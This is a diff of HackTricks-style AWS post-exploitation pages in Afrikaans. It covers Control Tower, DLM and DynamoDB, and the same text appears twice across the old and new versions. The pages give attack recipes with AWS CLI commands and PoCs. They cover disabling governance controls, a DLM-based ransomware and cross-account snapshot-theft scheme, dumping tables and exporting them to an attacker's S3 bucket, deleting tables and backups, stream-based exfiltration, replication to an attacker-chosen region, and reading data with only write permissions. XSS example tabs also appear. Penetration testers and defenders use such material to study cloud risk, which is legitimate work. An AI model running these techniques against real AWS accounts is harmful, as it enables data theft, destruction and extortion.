aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Skakel kontroles aan / af
|
||||
|
||||
Om 'n rekening verder te exploit, mag dit nodig wees om Control Tower-kontroles te deaktiveer/aktiveer:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
'n Ransomware-aanval kan uitgevoer word deur soveel EBS-volumes as moontlik te enkripteer en dan die huidige EC2-instances, EBS-volumes en snapshots te verwyder. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan 'n mens Amazon DLM gebruik, wat die snapshots met 'n KMS-sleutel van 'n ander AWS-rekening en die versleutelde snapshots na 'n ander rekening oordra. Alternatiewelik kan hulle snapshots sonder versleuteling na 'n rekening wat hulle bestuur oordra en dit dan daar versleut. Alhoewel dit nie regstreeks moontlik is om bestaande EBS-volumes of snapshots te enkripteer nie, is dit moontlik om dit te doen deur 'n nuwe volume of snapshot te skep.
|
||||
|
||||
Eerstens sal 'n mens 'n opdrag gebruik om inligting oor volumes te versamel, soos instansie-ID, volume-ID, versleutelingstatus, aanhegselsstatus en volumetipe.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Tweedens sal 'n mens die lewensiklusbeleid skep. Hierdie opdrag gebruik die DLM API om 'n lewensiklusbeleid op te stel wat outomaties daaglikse snapshots van spesifieke volumes op 'n aangewese tyd neem. Dit pas ook spesifieke etikette op die snapshots toe en kopieer etikette van die volumes na die snapshots. Die policyDetails.json-lêer sluit die besonderhede van die lewensiklusbeleid in, soos teiketikette, skedule, die ARN van die opsionele KMS-sleutel vir versleuteling, en die teikrekening vir snapshotdeling, wat in die slagoffer se CloudTrail-logs aangeteken sal word.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
'n Sjabloon vir die beleidsdokument kan hier gesien word:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
'n Ransomware-aanval kan uitgevoer word deur soveel EBS volumes as moontlik te enkripteer en dan die huidige EC2 instances, EBS volumes en snapshots uit te wis. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan mens Amazon DLM gebruik om die snapshots te enkripteer met 'n KMS key van 'n ander AWS account en die enkripteerde snapshots na 'n ander rekening oor te dra. Alternatiewelik kan hulle snapshots sonder enkripsie na 'n rekening wat hulle beheer oordra en dit dan daar enkripteer. Alhoewel dit nie eenvoudig is om bestaande EBS volumes of snapshots direk te enkripteer nie, is dit moontlik deur 'n nuwe volume of snapshot te skep.
|
||||
|
||||
Eerstens sal mens 'n opdrag gebruik om inligting oor volumes in te samel, soos instance ID, volume ID, enkripsiestatus, attachment status en volume tipe.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Vervolgens sal mens die lifecycle policy skep. Hierdie opdrag gebruik die DLM API om 'n lifecycle policy op te stel wat outomaties daaglikse snapshots van gespesifiseerde volumes op 'n aangewese tyd neem. Dit pas ook spesifieke tags toe op die snapshots en kopieer tags van die volumes na die snapshots. Die policyDetails.json file bevat die besonderhede van die lifecycle policy, soos teiken-tags, skedule, die ARN van die opsionele KMS key vir enkripsie, en die teikenrekening vir snapshot sharing, wat in die slagoffer se CloudTrail logs aangeteken sal word.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
'n Sjabloon vir die beleidsdokument kan hier gesien word:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+58
-60
@@ -1,18 +1,18 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
’n aanvaller met hierdie toestemmings sal in staat wees om **items uit tabelle deur die primêre sleutel te kry** (jy kan nie net al die data van die tabel vra nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabelmetadata te vra met `describe-table`).
|
||||
An attacker met hierdie regte sal in staat wees om **items uit tabelle per primêre sleutel te kry** (jy kan nie net al die data van die tabel vra nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabel se metadata te kry (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te lokaliseer
|
||||
**Potensiële impak:** Indirect privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Soortgelyk aan die vorige toestemmings** hierdie een laat 'n potensiële aanvaller toe om waardes uit slegs 1 tabel te lees, mits die primêre sleutel van die inskrywing bekend is:
|
||||
**Soortgelyk aan die vorige permissions** laat hierdie een 'n potensiële attacker toe om waardes van net 1 tabel te lees, mits die primary key van die inskrywing bekend is:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Met hierdie toestemming is dit ook moontlik om die metode **`transact-get-items`** te gebruik, soos:
|
||||
Met hierdie toestemming is dit ook moontlik om die **`transact-get-items`**-metode soos volg te gebruik:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
|
||||
**Potential Impact:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Vergelykbaar met die vorige permissies** hierdie een laat 'n potensiële attacker toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing wat gelees moet word. Dit laat toe om 'n [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word is "EQ", dus kan jy nie 'n vergelyking gebruik om die hele DB in een versoek te kry nie.
|
||||
**Soortgelyk aan die vorige permissies** hierdie een laat 'n potensiële aanvaller toe om waardes uit net 1 tabel te lees, mits die primêre sleutel van die item wat teruggevra word, gegee is. Dit laat toe om [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) te gebruik, maar die enigste vergelyking wat met die primêre sleutel (wat moet verskyn) toegelaat word, is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in een versoek te kry nie.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,11 +107,11 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel op te spoor
|
||||
**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Jy kan hierdie toestemming gebruik om **die hele tabel maklik te dump**.
|
||||
Jy kan hierdie toestemming gebruik om die hele tabel maklik te dump.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
@@ -119,23 +119,23 @@ aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Jy kan hierdie toestemming gebruik om **dump die hele tabel maklik**.
|
||||
Jy kan hierdie toestemming gebruik om **die hele tabel maklik te dump**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Hierdie toestemming laat ook toe om `batch-execute-statement` uit te voer soos:
|
||||
Hierdie toestemming maak dit ook moontlik om `batch-execute-statement` uit te voer, soos:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit nie so nuttig is nie.
|
||||
maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie baie nuttig nie.
|
||||
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Hierdie toestemming sal 'n attacker toelaat om **die hele tabel na 'n S3 bucket uit te voer** van sy keuse:
|
||||
Hierdie toestemming sal 'n aanvaller toelaat om **die hele tabel na 'n S3-bucket van sy keuse te eksporteer**:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Let daarop dat die tabel point-in-time-recovery aangeskakel moet wees vir dit om te werk; jy kan nagaan of die tabel dit het met:
|
||||
Let wel: daarvoor moet die tabel point-in-time-recovery geaktiveer wees. Jy kan nagaan of die tabel dit het met:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
As dit nie geaktiveer is nie, moet jy dit **aktiveer** en daarvoor het jy die **`dynamodb:ExportTableToPointInTime`** toestemming nodig:
|
||||
As dit nie aangeskakel is nie, sal jy dit moet **aanskakel** en daarvoor benodig jy die **`dynamodb:ExportTableToPointInTime`** toestemming:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel op te spoor
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel te vind
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Met hierdie toestemmings sou 'n aanvaller in staat wees om **'n nuwe tabel vanaf 'n rugsteun te skep** (of selfs 'n rugsteun te skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige toestemmings, sou hy in staat wees om **inligting** uit die rugsteune te nagaan wat c**nie meer in die produksie** tabel is.
|
||||
Met hierdie toestemmings kan 'n aanvaller **'n nuwe tabel vanaf 'n rugsteun skep** (of selfs 'n rugsteun skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige toestemmings, sal hy in staat wees om **inligting** uit die rugsteune te kontroleer wat **nie meer in die produksietabel** is.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabelrugsteun te lokaliseer
|
||||
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die tabel se rugsteun te lokaliseer
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Hierdie toestemming laat gebruikers toe om 'n **nuwe item by die tabel te voeg of 'n bestaande item te vervang** met 'n nuwe item. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item vervang word** met die nuwe item. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **aangemaak** word.
|
||||
Hierdie toestemming laat gebruikers toe om 'n **nuwe item by die tabel te voeg of 'n bestaande item met 'n nuwe item te vervang**. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die **gehele item deur die nuwe item vervang** word. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel **aangemaak** word.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Uitbuiting van verdere vulnerabilities/bypasses deur in staat te wees om data in 'n DynamoDB-tabel by te voeg of te wysig
|
||||
**Potensiële impak:** Uitbuiting van verdere kwetsbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB tabel by te voeg/wysig
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Hierdie toestemming laat gebruikers toe om die bestaande eienskappe van 'n item te **wysig** of nuwe eienskappe aan 'n item **by te voeg**. Dit **vervang nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie 'n **nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe instel soos aangedui in die update expression.
|
||||
Hierdie toestemming laat gebruikers toe om **die bestaande eienskappe van 'n item te wysig of nuwe eienskappe by 'n item te voeg**. Dit vervang **nie** die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie **'n nuwe item skep** met die gespesifiseerde primêre sleutel en die eienskappe soos gespesifiseer in die update expression instel.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,11 +242,11 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële impak:** Uitbuiting van verdere kwesbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB-tabel by te voeg of te wysig
|
||||
**Potensiële impak:** Uitbuiting van verdere vulnerabilities/bypasses deur in staat te wees om data by te voeg/wysig in 'n DynamoDB tabel
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
An attacker met hierdie toestemming kan **'n DynamoDB-tabel verwyder, wat dataverlies veroorsaak**.
|
||||
'n attacker met hierdie toestemming kan **'n DynamoDB tabel verwyder, wat dataverlies veroorsaak**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
@@ -256,29 +256,29 @@ aws dynamodb delete-table \
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
'n aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun verwyder, wat moontlik dataverlies veroorsaak in geval van 'n rampherstelscenario**.
|
||||
Aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun verwyder, wat moontlik dataverlies in 'n rampherstelscenario veroorsaak**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potensiële impak**: Data verlies en onmoontlikheid om van 'n rugsteun te herstel tydens 'n rampherwinningscenario.
|
||||
**Potensiële impak**: Dataverlies en onmoontlikheid om van ’n rugsteun te herstel tydens ’n rampherstelscenario.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets of dit eintlik werk
|
||||
> TODO: Toets of dit werklik werk
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan **'n stream op 'n DynamoDB-tabel aktiveer, die tabel opdateer om te begin met die stream van veranderinge, en dan toegang tot die stream kry om veranderinge aan die tabel in real-time te monitor**. Dit stel die aanvaller in staat om data-wijzigings te monitor en te exfiltrate, wat moontlik tot data leakage kan lei.
|
||||
’n aanvaller met hierdie toestemmings kan **’n stream op ’n DynamoDB-tabel aktiveer, die tabel bywerk om te begin stream veranderinge, en daarna toegang tot die stream kry om veranderinge aan die tabel in reële tyd te monitor**. Dit stel die aanvaller in staat om data changes te monitor en te exfiltrate, wat potensieel kan lei tot data leakage.
|
||||
|
||||
1. Skakel 'n stream op 'n DynamoDB-tabel in:
|
||||
1. Skakel ’n stream op ’n DynamoDB-tabel in:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Beskryf die stream om die ARN en ander besonderhede te kry:
|
||||
2. Beskryf die stroom om die ARN en ander besonderhede te bekom:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Gebruik die shard iterator om toegang te kry en data uit die stream te exfiltrate:
|
||||
4. Gebruik die shard iterator om toegang tot die stream te kry en data te exfiltrateer:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potensiële impak**: Tydreële monitering en data leakage van die DynamoDB-tabel se veranderings.
|
||||
**Potensiële impak**: Reële-tyd monitering en data leakage van die DynamoDB-tabel se veranderinge.
|
||||
|
||||
### Lees items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
|
||||
'n aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-toestemmings (`GetItem`/`Query`/`Scan`) deur 'n onskuldige update uit te voer en `--return-values ALL_OLD` te versoek. DynamoDB sal die volle pre-update beeld van die item in die `Attributes` veld van die antwoord teruggee (dit verbruik nie RCUs nie).
|
||||
'n Aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-permissies (`GetItem`/`Query`/`Scan`) deur 'n onskadelike update uit te voer en `--return-values ALL_OLD` aan te vra. DynamoDB sal die volle vooraf-opdateringsbeeld van die item in die `Attributes`-veld van die response teruggee (dit verbruik nie RCUs nie).
|
||||
|
||||
- Minimale toestemmings: `dynamodb:UpdateItem` op die teikentabel/sleutel.
|
||||
- Vereistes: Jy moet die item se primêre sleutel ken.
|
||||
- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
|
||||
- Prerequisites: Jy moet die item se primêre sleutel ken.
|
||||
|
||||
Voorbeeld (voeg 'n onskuldige attribuut by en exfiltrates die vorige item in die antwoord):
|
||||
Voorbeeld (voeg 'n onskadelike attribuut by en exfiltrates die vorige item in die response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Die CLI-antwoord sal `n `Attributes`-blok insluit wat die volledige vorige item (alle attributes) bevat, wat effektief `n lees-primitive vanuit skryf-alleen toegang bied.
|
||||
Die CLI-respons sal `n `Attributes` blok insluit wat die volledige vorige item bevat (alle attributes), wat effektief `n read primitive vanaf write-only toegang verskaf.
|
||||
|
||||
**Potensiële impak:** Lees ewekansige items uit `n tabel met slegs skryfpermissies, wat sensitiwe data exfiltration moontlik maak wanneer primêre sleutels bekend is.
|
||||
**Potensiële impak:** Lees arbitrêre items uit `n tabel met slegs write permissions, wat sensitiewe data exfiltration moontlik maak wanneer die primary keys bekend is.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Stil exfiltration deur `n nuwe replica Region by `n DynamoDB Global Table (weergawe 2019.11.21) te voeg. Indien `n principal `n streeksreplica kan byvoeg, word die hele tabel na die deur die aanvaller gekose Region gerepliseer, van waar die aanvaller alle items kan lees.
|
||||
Stealth exfiltration deur `n nuwe replica Region by te voeg tot `n DynamoDB Global Table (version 2019.11.21). As `n principal `n regional replica kan byvoeg, word die hele tabel na die attacker-chosen Region gerepliseer, waarvandaan die attacker alle items kan read.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissies: `dynamodb:UpdateTable` (met `replica-updates`) of `dynamodb:CreateTableReplica` op die teikentabel. As 'n CMK in die replika gebruik word, mag KMS-permissies vir daardie sleutel benodig word.
|
||||
Permissies: `dynamodb:UpdateTable` (met `replica-updates`) of `dynamodb:CreateTableReplica` op die teiken-tabel. As `CMK` in die replica gebruik word, mag `KMS`-permissies vir daardie sleutel vereis word.
|
||||
|
||||
Potensiële impak: Volledige-tabel-replikasie na 'n streek wat deur 'n aanvaller beheer word, wat lei tot sluipende data-eksfiltrasie.
|
||||
Potensiële impak: Volledige tabelreplikasie na 'n attacker-controlled Region wat kan lei tot stealthy data exfiltration.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (lees deur mislukte voorwaarde + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
'n Aanvaller met transaksionele skryfbevoegdhede kan die volle eienskappe van 'n bestaande item eksfiltreer deur 'n `Update` binne `TransactWriteItems` uit te voer wat opsetlik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` ingestel is. By mislukking sluit DynamoDB die vorige eienskappe in die redes vir kansellasie van die transaksie in, wat skryf-slegs-toegang effektief in lees-toegang tot geteikende sleutels omskakel.
|
||||
'n attacker met transaksionele skryfprivileges kan die full attributes van 'n bestaande item exfiltrate deur 'n `Update` binne `TransactWriteItems` uit te voer wat opzettelik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` gestel is. By mislukking sluit DynamoDB die vorige attributes in die transaksie-kanselleringsredes in, wat effektief write-only access in read access van geteikende sleutels omskakel.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissies: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Geen leespermissies is benodig nie.
|
||||
Toestemmings: `dynamodb:TransactWriteItems` op die teiken tabel (en die onderliggende item). Geen lees-toestemmings word vereis nie.
|
||||
|
||||
Potensiële impak: Lees ewekansige items (per primêre sleutel) uit 'n tabel deur net transaksionele skryfregte te gebruik via die teruggegewe kanselleringsredes.
|
||||
Potensiële impak: Lees arbitrêre items (per primêre sleutel) uit 'n tabel slegs met transaksionele skryfprivilegieë deur die teruggegewe kanselleringsredes.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` op GSI
|
||||
|
||||
Om leesbeperkings te omseil, skep 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut, stel daardie attribuut oor items op 'n konstante waarde, en `Query` dan die indeks om volle items te herwin. Dit werk selfs as `Query`/`Scan` op die basistabel geweier word, solank jy die indeks ARN kan query.
|
||||
Om leesbeperkings te omseil, skep 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut, stel daardie attribuut oor items heen op 'n konstante waarde, en voer dan `Query` op die indeks uit om volledige items te kry. Dit werk selfs as `Query`/`Scan` op die basistabel geweier word, solank jy die indeks ARN kan query.
|
||||
|
||||
- Minimum permissies:
|
||||
- `dynamodb:UpdateTable` on the target table (om die GSI met `ProjectionType=ALL` te skep).
|
||||
- `dynamodb:UpdateItem` on the target table keys (om die geïndekseerde attribuut op elke item te stel).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- Minimum toestemmings:
|
||||
- `dynamodb:UpdateTable` op die teiken tabel (om die GSI met `ProjectionType=ALL` te skep).
|
||||
- `dynamodb:UpdateItem` op die teiken tabel sleutels (om die geïndekseerde attribuut op elke item te stel).
|
||||
- `dynamodb:Query` op die indeks resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Stappe (PoC in us-east-1):
|
||||
```bash
|
||||
